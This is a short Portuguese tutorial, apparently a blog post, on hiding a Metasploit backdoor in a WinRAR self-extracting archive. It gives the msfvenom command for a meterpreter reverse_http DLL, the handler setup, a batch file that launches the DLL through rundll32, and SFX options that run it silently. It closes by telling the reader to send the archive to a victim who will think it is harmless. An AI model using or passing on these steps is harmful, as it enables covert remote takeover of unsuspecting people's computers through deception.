Metasploit – Backdoor em arquivos .RAR

Primeiramente vamos criar nosso payload

msfvenom --plataform windows --arch x86 -p windows/meterpreter/reverse_http LHOST=seuhost LPORT=suaporta -f dll > inject.dll

Abra o console

msfconsole

Seleciona o exploit

use exploit/multi/handler

Sete o payload

set PAYLOAD windows/meterpreter/reverse_http

Sete o host

set LHOST seuhost

Sete a porta

set LPORT suaporta

Vamos rodar agora para ficar esperando a conexão

exploit -j

Abra um arquivo bat e coloque as segunte linhas

@echo off
echo [*] Aguarde por favor.....
rundll32.exe inject.dll.main
exit

Salve o arquivo com o nome que quiser

Nessa parte será necessário um windows ou então um programa de emulação de programas do windows chamado de wine
Na maquina com windows tenha instalado o winrar e mova para a máquina os dois arquivos, o payload que é o inejct.dll e o bat que é o nome que vocês escolheram
Selecione os dois e clique em “Adicionar para o arquivo”, vamos compactar eles
Quando abrir a tela do winrar vá onde está escrito “Opções de Compressão” e marque a caixinha onde tá escrito “Criar arquivo SFX”
Depois vá na aba “Avançado” e em “Opções SFX….”
Vamos em configurações, onde está escrito “executar depois da extração” coloque a linha abaixo

nomedoseubat.bat

Em “Metódos” procure por “Modo silencioso” e selecione a opção “Ocultar tudo”
Vamos em “Atualizar” e em “Metódo de substituição” e selecione a opção “Ignorar arquivos existentes”
Após isso de ok em tudo e vai criar o arquivo em sua área de trabalho
Esse arquivo você enviará para sua vítima e ela vai abrir achando que é winrar, após ela executar uma sessão será criada no metasploit